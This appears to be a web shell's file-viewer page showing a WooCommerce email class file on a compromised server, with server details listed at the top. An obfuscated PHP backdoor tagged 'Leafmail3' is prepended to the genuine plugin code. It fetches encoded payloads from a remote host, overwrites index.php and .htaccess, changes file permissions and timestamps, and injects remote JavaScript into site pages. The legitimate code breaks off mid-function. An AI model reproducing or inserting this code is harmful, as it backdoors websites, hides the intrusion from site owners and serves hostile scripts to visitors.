Server IP : 192.158.238.246 / Your IP : 3.137.172.252 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/jenniferflocom/www/wp-content/plugins/woocommerce/includes/emails/ |
Upload File : |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Class WC_Email file. * * @package WooCommerce\Emails */ use Pelago\Emogrifier\CssInliner; use Pelago\Emogrifier\HtmlProcessor\CssToAttributeConverter; use Pelago\Emogrifier\HtmlProcessor\HtmlPruner; if ( ! defined( 'ABSPATH' ) ) { exit; } if ( class_exists( 'WC_Email', false ) ) { return; } /** * Email Class * * WooCommerce Email Class which is extended by specific email template classes to add emails to WooCommerce * * @class WC_Email * @version 2.5.0 * @package WooCommerce\Classes\Emails * @extends WC_Settings_API */ class WC_Email extends WC_Settings_API { /** * Email method ID. * * @var String */ public $id; /** * Email method title. * * @var string */ public $title; /** * 'yes' if the method is enabled. * * @var string yes, no */ public $enabled; /** * Description for the email. * * @var string */ public $description; /** * Default heading. * * Supported for backwards compatibility but we recommend overloading the * get_default_x methods instead so localization can be done when needed. * * @var string */ public $heading = ''; /** * Default subject. * * Supported for backwards compatibility but we recommend overloading the * get_default_x methods instead so localization can be done when needed. * * @var string */ public $subject = ''; /** * Plain text template path. * * @var string */ public $template_plain; /** * HTML template path. * * @var string */ public $template_html; /** * Template path. * * @var string */ public $template_base; /** * Recipients for the email. * * @var string */ public $recipient; /** * Object this email is for, for example a customer, product, or email. * * @var object|bool */ public $object; /** * Mime boundary (for multipart emails). * * @var string */ public $mime_boundary; /** * Mime boundary header (for multipart emails). * * @var string */ public $mime_boundary_header; /** * True when email is being sent. * * @var bool */ public $sending; /** * True when the email notification is sent manually only. * * @var bool */ protected $manual = false; /** * True when the email notification is sent to customers. * * @var bool */ protected $customer_email = false; /** * List of preg* regular expression patterns to search for, * used in conjunction with $plain_replace. * https://raw.github.com/ushahidi/wp-silcc/master/class.html2text.inc * * @var array $plain_search * @see $plain_replace */ public $plain_search = array( "/\r/", // Non-legal carriage return. '/&(nbsp|#0*160);/i', // Non-breaking space. '/&(quot|rdquo|ldquo|#0*8220|#0*8221|#0*147|#0*148);/i', // Double quotes. '/&(apos|rsquo|lsquo|#0*8216|#0*8217);/i', // Single quotes. '/>/i', // Greater-than. '/</i', // Less-than. '/�*38;/i', // Ampersand. '/&/i', // Ampersand. '/&(copy|#0*169);/i', // Copyright. '/&(trade|#0*8482|#0*153);/i', // Trademark. '/&(reg|#0*174);/i', // Registered. '/&(mdash|#0*151|#0*8212);/i', // mdash. '/&(ndash|minus|#0*8211|#0*8722);/i', // ndash. '/&(bull|#0*149|#0*8226);/i', // Bullet. '/&(pound|#0*163);/i', // Pound sign. '/&(euro|#0*8364);/i', // Euro sign. '/&(dollar|#0*36);/i', // Dollar sign. '/&[^&\s;]+;/i', // Unknown/unhandled entities. '/[ ]{2,}/', // Runs of spaces, post-handling. ); /** * List of pattern replacements corresponding to patterns searched. * * @var array $plain_replace * @see $plain_search */ public $plain_replace = array( '', // Non-legal carriage return. ' ', // Non-breaking space. '"', // Double quotes. "'", // Single quotes. '>', // Greater-than. '<', // Less-than. '&', // Ampersand. '&', // Ampersand. '(c)', // Copyright. '(tm)', // Trademark. '(R)', // Registered. '--', // mdash. '-', // ndash. '*', // Bullet. '£', // Pound sign. 'EUR', // Euro sign. € ?. '$', // Dollar sign. '', // Unknown/unhandled entities. ' ', // Runs of spaces, post-handling. ); /** * Strings to find/replace in subjects/headings. * * @var array */ protected $placeholders = array(); /** * Strings to find in subjects/headings. * * @deprecated 3.2.0 in favour of placeholders * @var array */ public $find = array(); /** * Strings to replace in subjects/headings. * * @deprecated 3.2.0 in favour of placeholders * @var array */ public $replace = array(); /** * E-mail type: plain, html or multipart. * * @var string */ public $email_type; /** * Constructor. */ public function __construct() { // Find/replace. $this->placeholders = array_merge( array( '{site_title}' => $this->get_blogname(), '{site_address}' => wp_parse_url( home_url(), PHP_URL_HOST ), '{site_url}' => wp_parse_url( home_url(), PHP_URL_HOST ), ), $this->placeholders ); // Init settings. $this->init_form_fields(); $this->init_settings(); // Default template base if not declared in child constructor. if ( is_null( $this->template_base ) ) { $this->template_base = WC()->plugin_path() . '/templates/'; } $this->email_type = $this->get_option( 'email_type' ); $this->enabled = $this->get_option( 'enabled' ); add_action( 'phpmailer_init', array( $this, 'handle_multipart' ) ); add_action( 'woocommerce_update_options_email_' . $this->id, array( $this, 'process_admin_options' ) ); } /** * Handle multipart mail. * * @param PHPMailer $mailer PHPMailer object. * @return PHPMailer */ public function handle_multipart( $mailer ) { if ( ! $this->sending ) { return $mailer; } if ( 'multipart' === $this->get_email_type() ) { $mailer->AltBody = wordwrap( // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase preg_replace( $this->plain_search, $this->plain_replace, wp_strip_all_tags( $this->get_content_plain() ) ) ); } else { $mailer->AltBody = ''; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase } $this->sending = false; return $mailer; } /** * Format email string. * * @param mixed $string Text to replace placeholders in. * @return string */ public function format_string( $string ) { $find = array_keys( $this->placeholders ); $replace = array_values( $this->placeholders ); // If using legacy find replace, add those to our find/replace arrays first. @todo deprecate in 4.0.0. $find = array_merge( (array) $this->find, $find ); $replace = array_merge( (array) $this->replace, $replace ); // Take care of blogname which is no longer defined as a valid placeholder. $find[] = '{blogname}'; $replace[] = $this->get_blogname(); // If using the older style filters for find and replace, ensure the array is associative and then pass through filters. @todo deprecate in 4.0.0. if ( has_filter( 'woocommerce_email_format_string_replace' ) || has_filter( 'woocommerce_email_format_string_find' ) ) { $legacy_find = 